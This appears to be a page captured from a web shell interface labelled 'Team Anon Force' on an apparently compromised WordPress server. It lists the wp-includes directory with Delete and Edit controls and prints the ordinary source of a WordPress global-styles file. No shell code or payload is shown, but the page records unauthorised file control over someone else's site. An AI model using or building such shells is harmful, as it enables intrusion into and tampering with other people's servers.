-= Team Anon Force =-
Uname:
Perm: -rw-r--r--
/
home
/
ogbpffv
/
www
/
atpr
/
wp-includes
/
Nama File / Folder
Size
Action
ID3
--
NONE
IXR
--
NONE
PHPMailer
--
NONE
Requests
--
NONE
SimplePie
--
NONE
Text
--
NONE
abilities-api
--
NONE
ai-client
--
NONE
assets
--
NONE
block-bindings
--
NONE
block-patterns
--
NONE
block-supports
--
NONE
blocks
--
NONE
build
--
NONE
certificates
--
NONE
collaboration
--
NONE
css
--
NONE
customize
--
NONE
fonts
--
NONE
html-api
--
NONE
images
--
NONE
interactivity-api
--
NONE
js
--
NONE
l10n
--
NONE
php-ai-client
--
NONE
php-compat
--
NONE
pomo
--
NONE
rest-api
--
NONE
sitemaps
--
NONE
sodium_compat
--
NONE
style-engine
--
NONE
theme-compat
--
NONE
widgets
--
NONE
abilities-api.php
23.798KB
Delete
Edit
abilities.php
7.821KB
Delete
Edit
admin-bar.php
38.394KB
Delete
Edit
ai-client.php
2.489KB
Delete
Edit
atomlib.php
11.896KB
Delete
Edit
author-template.php
19.379KB
Delete
Edit
block-bindings.php
7.35KB
Delete
Edit
block-editor.php
28.051KB
Delete
Edit
block-i18n.json
0.309KB
Delete
Edit
block-template-utils.php
61.332KB
Delete
Edit
block-template.php
17.833KB
Delete
Edit
blocks.php
116.643KB
Delete
Edit
bookmark-template.php
12.469KB
Delete
Edit
bookmark.php
15.065KB
Delete
Edit
cache-compat.php
10.763KB
Delete
Edit
cache.php
13.17KB
Delete
Edit
canonical.php
33.833KB
Delete
Edit
capabilities.php
42.61KB
Delete
Edit
category-template.php
55.649KB
Delete
Edit
category.php
12.533KB
Delete
Edit
class-avif-info.php
29.305KB
Delete
Edit
class-feed.php
0.526KB
Delete
Edit
class-http.php
0.358KB
Delete
Edit
class-phpass.php
6.612KB
Delete
Edit
class-phpmailer.php
0.648KB
Delete
Edit
class-pop3.php
20.626KB
Delete
Edit
class-requests.php
2.185KB
Delete
Edit
class-simplepie.php
0.442KB
Delete
Edit
class-smtp.php
0.446KB
Delete
Edit
class-snoopy.php
36.831KB
Delete
Edit
class-walker-category-dropdown.php
2.411KB
Delete
Edit
class-walker-category.php
8.278KB
Delete
Edit
class-walker-nav-menu.php
11.762KB
Delete
Edit
class-walker-page-dropdown.php
2.646KB
Delete
Edit
class-walker-page.php
7.434KB
Delete
Edit
class-wp-admin-bar.php
17.582KB
Delete
Edit
class-wp-ajax-response.php
5.143KB
Delete
Edit
class-wp-application-passwords.php
16.698KB
Delete
Edit
class-wp-block-bindings-registry.php
8.069KB
Delete
Edit
class-wp-block-bindings-source.php
2.922KB
Delete
Edit
class-wp-block-editor-context.php
1.318KB
Delete
Edit
class-wp-block-list.php
4.603KB
Delete
Edit
class-wp-block-metadata-registry.php
11.568KB
Delete
Edit
class-wp-block-parser-block.php
2.495KB
Delete
Edit
class-wp-block-parser-frame.php
1.947KB
Delete
Edit
class-wp-block-parser.php
11.25KB
Delete
Edit
class-wp-block-pattern-categories-registry.php
4.28KB
Delete
Edit
class-wp-block-patterns-registry.php
10.07KB
Delete
Edit
class-wp-block-processor.php
68.319KB
Delete
Edit
class-wp-block-styles-registry.php
6.269KB
Delete
Edit
class-wp-block-supports.php
6.397KB
Delete
Edit
class-wp-block-template.php
1.985KB
Delete
Edit
class-wp-block-templates-registry.php
6.914KB
Delete
Edit
class-wp-block-type-registry.php
4.912KB
Delete
Edit
class-wp-block-type.php
16.829KB
Delete
Edit
class-wp-block.php
24.141KB
Delete
Edit
class-wp-classic-to-block-menu-converter.php
3.932KB
Delete
Edit
class-wp-connector-registry.php
14.071KB
Delete
Edit
class-wp-customize-manager.php
198.126KB
Delete
Edit
class-wp-customize-nav-menus.php
56.609KB
Delete
Edit
class-wp-customize-panel.php
10.459KB
Delete
Edit
class-wp-customize-section.php
10.946KB
Delete
Edit
class-wp-customize-setting.php
29.261KB
Delete
Edit
class-wp-date-query.php
35.127KB
Delete
Edit
class-wp-dependencies.php
16.688KB
Delete
Edit
class-wp-dependency.php
2.591KB
Delete
Edit
class-wp-duotone.php
39.951KB
Delete
Edit
class-wp-editor.php
70.535KB
Delete
Edit
class-wp-embed.php
15.535KB
Delete
Edit
class-wp-error.php
7.326KB
Delete
Edit
class-wp-fatal-error-handler.php
7.959KB
Delete
Edit
class-wp-feed-cache-transient.php
3.227KB
Delete
Edit
class-wp-feed-cache.php
0.946KB
Delete
Edit
class-wp-hook.php
16.246KB
Delete
Edit
class-wp-http-cookie.php
7.099KB
Delete
Edit
class-wp-http-curl.php
12.95KB
Delete
Edit
class-wp-http-encoding.php
6.532KB
Delete
Edit
class-wp-http-ixr-client.php
3.434KB
Delete
Edit
class-wp-http-proxy.php
5.84KB
Delete
Edit
class-wp-http-requests-hooks.php
1.975KB
Delete
Edit
class-wp-http-requests-response.php
4.144KB
Delete
Edit
class-wp-http-response.php
2.907KB
Delete
Edit
class-wp-http-streams.php
16.371KB
Delete
Edit
class-wp-http.php
40.672KB
Delete
Edit
class-wp-icons-registry.php
7.673KB
Delete
Edit
class-wp-image-editor-gd.php
20.22KB
Delete
Edit
class-wp-image-editor-imagick.php
36.11KB
Delete
Edit
class-wp-image-editor.php
17.01KB
Delete
Edit
class-wp-list-util.php
7.269KB
Delete
Edit
class-wp-locale-switcher.php
6.617KB
Delete
Edit
class-wp-locale.php
16.453KB
Delete
Edit
class-wp-matchesmapregex.php
1.785KB
Delete
Edit
class-wp-meta-query.php
29.792KB
Delete
Edit
class-wp-metadata-lazyloader.php
6.673KB
Delete
Edit
class-wp-navigation-fallback.php
8.978KB
Delete
Edit
class-wp-object-cache.php
17.113KB
Delete
Edit
class-wp-oembed-controller.php
6.743KB
Delete
Edit
class-wp-oembed.php
30.862KB
Delete
Edit
class-wp-paused-extensions-storage.php
4.948KB
Delete
Edit
class-wp-plugin-dependencies.php
24.592KB
Delete
Edit
class-wp-post.php
6.331KB
Delete
Edit
class-wp-query.php
159.503KB
Delete
Edit
class-wp-recovery-mode-cookie-service.php
6.716KB
Delete
Edit
class-wp-recovery-mode-email-service.php
10.904KB
Delete
Edit
class-wp-recovery-mode-key-service.php
4.799KB
Delete
Edit
class-wp-recovery-mode-link-service.php
3.44KB
Delete
Edit
class-wp-recovery-mode.php
11.185KB
Delete
Edit
class-wp-rewrite.php
62.2KB
Delete
Edit
class-wp-role.php
2.464KB
Delete
Edit
class-wp-roles.php
9.103KB
Delete
Edit
class-wp-script-modules.php
39.647KB
Delete
Edit
class-wp-scripts.php
35.927KB
Delete
Edit
class-wp-session-tokens.php
7.147KB
Delete
Edit
class-wp-simplepie-file.php
3.469KB
Delete
Edit
class-wp-simplepie-sanitize-kses.php
1.865KB
Delete
Edit
class-wp-site-query.php
30.744KB
Delete
Edit
class-wp-site.php
7.284KB
Delete
Edit
class-wp-speculation-rules.php
7.377KB
Delete
Edit
class-wp-styles.php
13.043KB
Delete
Edit
class-wp-tax-query.php
19.118KB
Delete
Edit
class-wp-taxonomy.php
18.124KB
Delete
Edit
class-wp-term-query.php
39.796KB
Delete
Edit
class-wp-term.php
5.14KB
Delete
Edit
class-wp-text-diff-renderer-inline.php
0.956KB
Delete
Edit
class-wp-text-diff-renderer-table.php
18.488KB
Delete
Edit
class-wp-textdomain-registry.php
10.235KB
Delete
Edit
class-wp-theme-json-data.php
1.767KB
Delete
Edit
class-wp-theme-json-resolver.php
34.855KB
Delete
Edit
class-wp-theme-json-schema.php
7.194KB
Delete
Edit
class-wp-theme-json.php
169.569KB
Delete
Edit
class-wp-theme.php
64.22KB
Delete
Edit
class-wp-token-map.php
27.947KB
Delete
Edit
class-wp-url-pattern-prefixer.php
4.689KB
Delete
Edit
class-wp-user-meta-session-tokens.php
2.885KB
Delete
Edit
class-wp-user-query.php
43.068KB
Delete
Edit
class-wp-user-request.php
2.251KB
Delete
Edit
class-wp-user.php
22.477KB
Delete
Edit
class-wp-walker.php
13.01KB
Delete
Edit
class-wp-widget-factory.php
3.269KB
Delete
Edit
class-wp-xmlrpc-server.php
209.98KB
Delete
Edit
class-wp.php
25.753KB
Delete
Edit
class.wp-dependencies.php
0.364KB
Delete
Edit
class.wp-scripts.php
0.335KB
Delete
Edit
class.wp-styles.php
0.33KB
Delete
Edit
collaboration.php
2.107KB
Delete
Edit
comment-template.php
100.792KB
Delete
Edit
compat-utf8.php
19.096KB
Delete
Edit
compat.php
15.687KB
Delete
Edit
connectors.php
23.516KB
Delete
Edit
cron.php
43.941KB
Delete
Edit
date.php
0.391KB
Delete
Edit
default-constants.php
11.099KB
Delete
Edit
default-filters.php
36.54KB
Delete
Edit
default-widgets.php
2.241KB
Delete
Edit
deprecated.php
189.431KB
Delete
Edit
embed.php
37.994KB
Delete
Edit
feed-atom-comments.php
5.375KB
Delete
Edit
feed-atom.php
3.048KB
Delete
Edit
feed-rdf.php
2.605KB
Delete
Edit
feed-rss.php
1.161KB
Delete
Edit
feed-rss2-comments.php
4.039KB
Delete
Edit
feed-rss2.php
3.71KB
Delete
Edit
feed.php
24.599KB
Delete
Edit
fonts.php
9.561KB
Delete
Edit
formatting.php
346.377KB
Delete
Edit
functions.php
283.521KB
Delete
Edit
functions.wp-scripts.php
20.012KB
Delete
Edit
functions.wp-styles.php
8.451KB
Delete
Edit
general-template.php
170.834KB
Delete
Edit
global-styles-and-settings.php
20.293KB
Delete
Edit
http.php
26.616KB
Delete
Edit
https-detection.php
5.72KB
Delete
Edit
https-migration.php
4.63KB
Delete
Edit
kses.php
80.645KB
Delete
Edit
l10n.php
69.741KB
Delete
Edit
link-template.php
156.394KB
Delete
Edit
load.php
55.151KB
Delete
Edit
locale.php
0.158KB
Delete
Edit
media-template.php
61.792KB
Delete
Edit
media.php
218.549KB
Delete
Edit
meta.php
65.175KB
Delete
Edit
ms-blogs.php
25.714KB
Delete
Edit
ms-default-constants.php
4.806KB
Delete
Edit
ms-default-filters.php
6.48KB
Delete
Edit
ms-deprecated.php
21.24KB
Delete
Edit
ms-files.php
2.79KB
Delete
Edit
ms-functions.php
89.689KB
Delete
Edit
ms-load.php
19.568KB
Delete
Edit
ms-network.php
3.693KB
Delete
Edit
ms-settings.php
4.105KB
Delete
Edit
ms-site.php
40.751KB
Delete
Edit
nav-menu-template.php
25.381KB
Delete
Edit
nav-menu.php
43.231KB
Delete
Edit
option.php
102.616KB
Delete
Edit
pluggable-deprecated.php
6.176KB
Delete
Edit
pluggable.php
124.568KB
Delete
Edit
plugin.php
35.646KB
Delete
Edit
post-formats.php
6.904KB
Delete
Edit
post-template.php
67.007KB
Delete
Edit
post-thumbnail-template.php
10.624KB
Delete
Edit
query.php
36.226KB
Delete
Edit
registration-functions.php
0.195KB
Delete
Edit
registration.php
0.195KB
Delete
Edit
revision.php
29.992KB
Delete
Edit
rewrite.php
19.005KB
Delete
Edit
robots-template.php
5.063KB
Delete
Edit
rss-functions.php
0.249KB
Delete
Edit
rss.php
22.659KB
Delete
Edit
script-loader.php
159.303KB
Delete
Edit
script-modules.php
11.663KB
Delete
Edit
sitemaps.php
3.162KB
Delete
Edit
speculative-loading.php
8.398KB
Delete
Edit
spl-autoload-compat.php
0.431KB
Delete
Edit
style-engine.php
7.386KB
Delete
Edit
taxonomy.php
172.992KB
Delete
Edit
template-canvas.php
0.531KB
Delete
Edit
template-loader.php
4.167KB
Delete
Edit
template.php
35.961KB
Delete
Edit
theme-i18n.json
1.848KB
Delete
Edit
theme-templates.php
3.965KB
Delete
Edit
theme.json
8.825KB
Delete
Edit
theme.php
131.476KB
Delete
Edit
update.php
37.379KB
Delete
Edit
user.php
174.633KB
Delete
Edit
utf8.php
7.09KB
Delete
Edit
vars.php
6.452KB
Delete
Edit
version.php
1.104KB
Delete
Edit
view-transitions.php
0.588KB
Delete
Edit
wp-db.php
0.435KB
Delete
Edit
wp-diff.php
0.78KB
Delete
Edit
<?php /** * APIs to interact with global settings & styles. * * @package WordPress */ /** * Gets the settings resulting of merging core, theme, and user data. * * @since 5.9.0 * * @param array $path Path to the specific setting to retrieve. Optional. * If empty, will return all settings. * @param array $context { * Metadata to know where to retrieve the $path from. Optional. * * @type string $block_name Which block to retrieve the settings from. * If empty, it'll return the settings for the global context. * @type string $origin Which origin to take data from. * Valid values are 'all' (core, theme, and user) or 'base' (core and theme). * If empty or unknown, 'all' is used. * } * @return mixed The settings array or individual setting value to retrieve. */ function wp_get_global_settings( $path = array(), $context = array() ) { if ( ! empty( $context['block_name'] ) ) { $new_path = array( 'blocks', $context['block_name'] ); foreach ( $path as $subpath ) { $new_path[] = $subpath; } $path = $new_path; } /* * This is the default value when no origin is provided or when it is 'all'. * * The $origin is used as part of the cache key. Changes here need to account * for clearing the cache appropriately. */ $origin = 'custom'; if ( isset( $context['origin'] ) && 'base' === $context['origin'] ) { $origin = 'theme'; } /* * By using the 'theme_json' group, this data is marked to be non-persistent across requests. * See `wp_cache_add_non_persistent_groups` in src/wp-includes/load.php and other places. * * The rationale for this is to make sure derived data from theme.json * is always fresh from the potential modifications done via hooks * that can use dynamic data (modify the stylesheet depending on some option, * settings depending on user permissions, etc.). * See some of the existing hooks to modify theme.json behavior: * https://make.wordpress.org/core/2022/10/10/filters-for-theme-json-data/ * * A different alternative considered was to invalidate the cache upon certain * events such as options add/update/delete, user meta, etc. * It was judged not enough, hence this approach. * See https://github.com/WordPress/gutenberg/pull/45372 */ $cache_group = 'theme_json'; $cache_key = 'wp_get_global_settings_' . $origin; /* * Ignore cache when the development mode is set to 'theme', so it doesn't interfere with the theme * developer's workflow. */ $can_use_cached = ! wp_is_development_mode( 'theme' ); $settings = false; if ( $can_use_cached ) { $settings = wp_cache_get( $cache_key, $cache_group ); } if ( false === $settings ) { $settings = WP_Theme_JSON_Resolver::get_merged_data( $origin )->get_settings(); if ( $can_use_cached ) { wp_cache_set( $cache_key, $settings, $cache_group ); } } return _wp_array_get( $settings, $path, $settings ); } /** * Gets the styles resulting of merging core, theme, and user data. * * @since 5.9.0 * @since 6.3.0 the internal link format "var:preset|color|secondary" is resolved * to "var(--wp--preset--font-size--small)" so consumers don't have to. * @since 6.3.0 `transforms` is now usable in the `context` parameter. In case [`transforms`]['resolve_variables'] * is defined, variables are resolved to their value in the styles. * * @param array $path Path to the specific style to retrieve. Optional. * If empty, will return all styles. * @param array $context { * Metadata to know where to retrieve the $path from. Optional. * * @type string $block_name Which block to retrieve the styles from. * If empty, it'll return the styles for the global context. * @type string $origin Which origin to take data from. * Valid values are 'all' (core, theme, and user) or 'base' (core and theme). * If empty or unknown, 'all' is used. * @type array $transforms Which transformation(s) to apply. * Valid value is array( 'resolve-variables' ). * If defined, variables are resolved to their value in the styles. * } * @return mixed The styles array or individual style value to retrieve. */ function wp_get_global_styles( $path = array(), $context = array() ) { if ( ! empty( $context['block_name'] ) ) { $path = array_merge( array( 'blocks', $context['block_name'] ), $path ); } $origin = 'custom'; if ( isset( $context['origin'] ) && 'base' === $context['origin'] ) { $origin = 'theme'; } $resolve_variables = isset( $context['transforms'] ) && is_array( $context['transforms'] ) && in_array( 'resolve-variables', $context['transforms'], true ); $merged_data = WP_Theme_JSON_Resolver::get_merged_data( $origin ); if ( $resolve_variables ) { $merged_data = WP_Theme_JSON::resolve_variables( $merged_data ); } $styles = $merged_data->get_raw_data()['styles']; return _wp_array_get( $styles, $path, $styles ); } /** * Returns the stylesheet resulting of merging core, theme, and user data. * * @since 5.9.0 * @since 6.1.0 Added 'base-layout-styles' support. * @since 6.6.0 Resolves relative paths in theme.json styles to theme absolute paths. * @since 7.0.0 Deprecated 'base-layout-styles' type; classic themes now receive full styles * with layout-specific alignment rules skipped via `base_layout_styles` option. * * @param array $types Optional. Types of styles to load. * See {@see 'WP_Theme_JSON::get_stylesheet'} for all valid types. * If empty, will load: 'variables', 'presets', 'styles'. * @return string Stylesheet. */ function wp_get_global_stylesheet( $types = array() ) { /* * Ignore cache when the development mode is set to 'theme', so it doesn't interfere with the theme * developer's workflow. */ $can_use_cached = empty( $types ) && ! wp_is_development_mode( 'theme' ); /* * By using the 'theme_json' group, this data is marked to be non-persistent across requests. * @see `wp_cache_add_non_persistent_groups()`. * * The rationale for this is to make sure derived data from theme.json * is always fresh from the potential modifications done via hooks * that can use dynamic data (modify the stylesheet depending on some option, * settings depending on user permissions, etc.). * See some of the existing hooks to modify theme.json behavior: * @see https://make.wordpress.org/core/2022/10/10/filters-for-theme-json-data/ * * A different alternative considered was to invalidate the cache upon certain * events such as options add/update/delete, user meta, etc. * It was judged not enough, hence this approach. * @see https://github.com/WordPress/gutenberg/pull/45372 */ $cache_group = 'theme_json'; $cache_key = 'wp_get_global_stylesheet'; if ( $can_use_cached ) { $cached = wp_cache_get( $cache_key, $cache_group ); if ( $cached ) { return $cached; } } $tree = WP_Theme_JSON_Resolver::resolve_theme_file_uris( WP_Theme_JSON_Resolver::get_merged_data() ); if ( empty( $types ) ) { $types = array( 'variables', 'styles', 'presets' ); } /* * Enable base layout styles only mode for classic themes without theme.json. * This skips alignment styles that target .wp-site-blocks which is only used by block themes. */ $options = array(); if ( ! wp_is_block_theme() && ! wp_theme_has_theme_json() ) { $options['base_layout_styles'] = true; } /* * If variables are part of the stylesheet, then add them. * This is so themes without a theme.json still work as before 5.9: * they can override the default presets. * See https://core.trac.wordpress.org/ticket/54782 */ $styles_variables = ''; if ( in_array( 'variables', $types, true ) ) { /* * Only use the default, theme, and custom origins. Why? * Because styles for `blocks` origin are added at a later phase * (i.e. in the render cycle). Here, only the ones in use are rendered. * @see wp_add_global_styles_for_blocks */ $origins = array( 'default', 'theme', 'custom' ); $styles_variables = $tree->get_stylesheet( array( 'variables' ), $origins, $options ); $types = array_diff( $types, array( 'variables' ) ); } /* * For the remaining types (presets, styles), we do consider origins: * * - themes without theme.json: only the classes for the presets defined by core * - themes with theme.json: the presets and styles classes, both from core and the theme */ $styles_rest = ''; if ( ! empty( $types ) ) { /* * Only use the default, theme, and custom origins. Why? * Because styles for `blocks` origin are added at a later phase * (i.e. in the render cycle). Here, only the ones in use are rendered. * @see wp_add_global_styles_for_blocks */ $origins = array( 'default', 'theme', 'custom' ); $styles_rest = $tree->get_stylesheet( $types, $origins, $options ); } $stylesheet = $styles_variables . $styles_rest; if ( $can_use_cached ) { wp_cache_set( $cache_key, $stylesheet, $cache_group ); } return $stylesheet; } /** * Adds global style rules to the inline style for each block. * * @since 6.1.0 * @since 6.7.0 Resolve relative paths in block styles. * * @global WP_Styles $wp_styles */ function wp_add_global_styles_for_blocks() { global $wp_styles; $tree = WP_Theme_JSON_Resolver::get_merged_data(); $tree = WP_Theme_JSON_Resolver::resolve_theme_file_uris( $tree ); $block_nodes = $tree->get_styles_block_nodes(); $can_use_cached = ! wp_is_development_mode( 'theme' ); $update_cache = false; if ( $can_use_cached ) { // Hash the merged WP_Theme_JSON data to bust cache on settings or styles change. $cache_hash = md5( wp_json_encode( $tree->get_raw_data() ) ); $cache_key = 'wp_styles_for_blocks'; $cached = get_transient( $cache_key ); // Reset the cached data if there is no value or if the hash has changed. if ( ! is_array( $cached ) || $cached['hash'] !== $cache_hash ) { $cached = array( 'hash' => $cache_hash, 'blocks' => array(), ); // Update the cache if the hash has changed. $update_cache = true; } } foreach ( $block_nodes as $metadata ) { if ( $can_use_cached ) { // Generate a unique cache key based on the full metadata to ensure pseudo-selectors and other variations get unique keys. $cache_node_key = md5( wp_json_encode( $metadata ) ); if ( isset( $cached['blocks'][ $cache_node_key ] ) ) { $block_css = $cached['blocks'][ $cache_node_key ]; } else { $block_css = $tree->get_styles_for_block( $metadata ); $cached['blocks'][ $cache_node_key ] = $block_css; // Update the cache if the cache contents have changed. $update_cache = true; } } else { $block_css = $tree->get_styles_for_block( $metadata ); } if ( ! wp_should_load_block_assets_on_demand() ) { wp_add_inline_style( 'global-styles', $block_css ); continue; } $stylesheet_handle = 'global-styles'; /* * When `wp_should_load_block_assets_on_demand()` is true, block styles are * enqueued for each block on the page in class WP_Block's render function. * This means there will be a handle in the styles queue for each of those blocks. * Block-specific global styles should be attached to the global-styles handle, but * only for blocks on the page, thus we check if the block's handle is in the queue * before adding the inline style. * This conditional loading only applies to core blocks. * TODO: Explore how this could be expanded to third-party blocks as well. */ if ( isset( $metadata['name'] ) ) { if ( str_starts_with( $metadata['name'], 'core/' ) ) { $block_name = str_replace( 'core/', '', $metadata['name'] ); $block_handle = 'wp-block-' . $block_name; if ( in_array( $block_handle, $wp_styles->queue, true ) ) { wp_add_inline_style( $stylesheet_handle, $block_css ); } } else { wp_add_inline_style( $stylesheet_handle, $block_css ); } } // The likes of block element styles from theme.json do not have $metadata['name'] set. if ( ! isset( $metadata['name'] ) && ! empty( $metadata['path'] ) ) { $block_name = wp_get_block_name_from_theme_json_path( $metadata['path'] ); if ( $block_name ) { if ( str_starts_with( $block_name, 'core/' ) ) { $block_name = str_replace( 'core/', '', $block_name ); $block_handle = 'wp-block-' . $block_name; if ( in_array( $block_handle, $wp_styles->queue, true ) ) { wp_add_inline_style( $stylesheet_handle, $block_css ); } } else { wp_add_inline_style( $stylesheet_handle, $block_css ); } } } } if ( $update_cache ) { set_transient( $cache_key, $cached ); } } /** * Gets the block name from a given theme.json path. * * @since 6.3.0 * @access private * * @param array $path An array of keys describing the path to a property in theme.json. * @return string Identified block name, or empty string if none found. */ function wp_get_block_name_from_theme_json_path( $path ) { // Block name is expected to be the third item after 'styles' and 'blocks'. if ( count( $path ) >= 3 && 'styles' === $path[0] && 'blocks' === $path[1] && str_contains( $path[2], '/' ) ) { return $path[2]; } /* * As fallback and for backward compatibility, allow any core block to be * at any position. */ $result = array_values( array_filter( $path, static function ( $item ) { if ( str_contains( $item, 'core/' ) ) { return true; } return false; } ) ); return $result[0] ?? ''; } /** * Checks whether a theme or its parent has a theme.json file. * * @since 6.2.0 * * @return bool Returns true if theme or its parent has a theme.json file, false otherwise. */ function wp_theme_has_theme_json() { static $theme_has_support = array(); $stylesheet = get_stylesheet(); if ( isset( $theme_has_support[ $stylesheet ] ) && /* * Ignore static cache when the development mode is set to 'theme', to avoid interfering with * the theme developer's workflow. */ ! wp_is_development_mode( 'theme' ) ) { return $theme_has_support[ $stylesheet ]; } $stylesheet_directory = get_stylesheet_directory(); $template_directory = get_template_directory(); // This is the same as get_theme_file_path(), which isn't available in load-styles.php context if ( $stylesheet_directory !== $template_directory && file_exists( $stylesheet_directory . '/theme.json' ) ) { $path = $stylesheet_directory . '/theme.json'; } else { $path = $template_directory . '/theme.json'; } /** This filter is documented in wp-includes/link-template.php */ $path = apply_filters( 'theme_file_path', $path, 'theme.json' ); $theme_has_support[ $stylesheet ] = file_exists( $path ); return $theme_has_support[ $stylesheet ]; } /** * Cleans the caches under the theme_json group. * * @since 6.2.0 */ function wp_clean_theme_json_cache() { wp_cache_delete( 'wp_get_global_stylesheet', 'theme_json' ); wp_cache_delete( 'wp_get_global_styles_svg_filters', 'theme_json' ); wp_cache_delete( 'wp_get_global_settings_custom', 'theme_json' ); wp_cache_delete( 'wp_get_global_settings_theme', 'theme_json' ); wp_cache_delete( 'wp_get_global_styles_custom_css', 'theme_json' ); wp_cache_delete( 'wp_get_theme_data_template_parts', 'theme_json' ); WP_Theme_JSON_Resolver::clean_cached_data(); } /** * Returns the current theme's wanted patterns (slugs) to be * registered from Pattern Directory. * * @since 6.3.0 * * @return string[] */ function wp_get_theme_directory_pattern_slugs() { return WP_Theme_JSON_Resolver::get_theme_data( array(), array( 'with_supports' => false ) )->get_patterns(); } /** * Returns the metadata for the custom templates defined by the theme via theme.json. * * @since 6.4.0 * * @return array Associative array of `$template_name => $template_data` pairs, * with `$template_data` having "title" and "postTypes" fields. */ function wp_get_theme_data_custom_templates() { return WP_Theme_JSON_Resolver::get_theme_data( array(), array( 'with_supports' => false ) )->get_custom_templates(); } /** * Returns the metadata for the template parts defined by the theme. * * @since 6.4.0 * * @return array Associative array of `$part_name => $part_data` pairs, * with `$part_data` having "title" and "area" fields. */ function wp_get_theme_data_template_parts() { $cache_group = 'theme_json'; $cache_key = 'wp_get_theme_data_template_parts'; $can_use_cached = ! wp_is_development_mode( 'theme' ); if ( $can_use_cached ) { $metadata = wp_cache_get( $cache_key, $cache_group ); if ( false !== $metadata ) { return $metadata; } } $metadata = WP_Theme_JSON_Resolver::get_theme_data( array(), array( 'with_supports' => false ) )->get_template_parts(); if ( $can_use_cached ) { wp_cache_set( $cache_key, $metadata, $cache_group ); } return $metadata; } /** * Determines the CSS selector for the block type and property provided, * returning it if available. * * @since 6.3.0 * * @param WP_Block_Type $block_type The block's type. * @param string|array $target The desired selector's target, `root` or array path. * @param boolean $fallback Whether to fall back to broader selector. * * @return string|null CSS selector or `null` if no selector available. */ function wp_get_block_css_selector( $block_type, $target = 'root', $fallback = false ) { if ( empty( $target ) ) { return null; } $has_selectors = ! empty( $block_type->selectors ); // Root Selector. // Calculated before returning as it can be used as fallback for // feature selectors later on. $root_selector = null; if ( $has_selectors && isset( $block_type->selectors['root'] ) ) { // Use the selectors API if available. $root_selector = $block_type->selectors['root']; } elseif ( isset( $block_type->supports['__experimentalSelector'] ) && is_string( $block_type->supports['__experimentalSelector'] ) ) { // Use the old experimental selector supports property if set. $root_selector = $block_type->supports['__experimentalSelector']; } else { // If no root selector found, generate default block class selector. $block_name = str_replace( '/', '-', str_replace( 'core/', '', $block_type->name ) ); $root_selector = ".wp-block-{$block_name}"; } // Return selector if it's the root target we are looking for. if ( 'root' === $target ) { return $root_selector; } // If target is not `root` we have a feature or subfeature as the target. // If the target is a string convert to an array. if ( is_string( $target ) ) { $target = explode( '.', $target ); } // Feature Selectors ( May fallback to root selector ). if ( 1 === count( $target ) ) { $fallback_selector = $fallback ? $root_selector : null; // Prefer the selectors API if available. if ( $has_selectors ) { // Look for selector under `feature.root`. $path = array( current( $target ), 'root' ); $feature_selector = _wp_array_get( $block_type->selectors, $path, null ); if ( $feature_selector ) { return $feature_selector; } // Check if feature selector is set via shorthand. $feature_selector = _wp_array_get( $block_type->selectors, $target, null ); return is_string( $feature_selector ) ? $feature_selector : $fallback_selector; } // Try getting old experimental supports selector value. $path = array( current( $target ), '__experimentalSelector' ); $feature_selector = _wp_array_get( $block_type->supports, $path, null ); // Nothing to work with, provide fallback or null. if ( null === $feature_selector ) { return $fallback_selector; } // Scope the feature selector by the block's root selector. return WP_Theme_JSON::scope_selector( $root_selector, $feature_selector ); } // Subfeature selector // This may fallback either to parent feature or root selector. $subfeature_selector = null; // Use selectors API if available. if ( $has_selectors ) { $subfeature_selector = _wp_array_get( $block_type->selectors, $target, null ); } // Only return if we have a subfeature selector. if ( $subfeature_selector ) { return $subfeature_selector; } // To this point we don't have a subfeature selector. If a fallback // has been requested, remove subfeature from target path and return // results of a call for the parent feature's selector. if ( $fallback ) { return wp_get_block_css_selector( $block_type, $target[0], $fallback ); } return null; }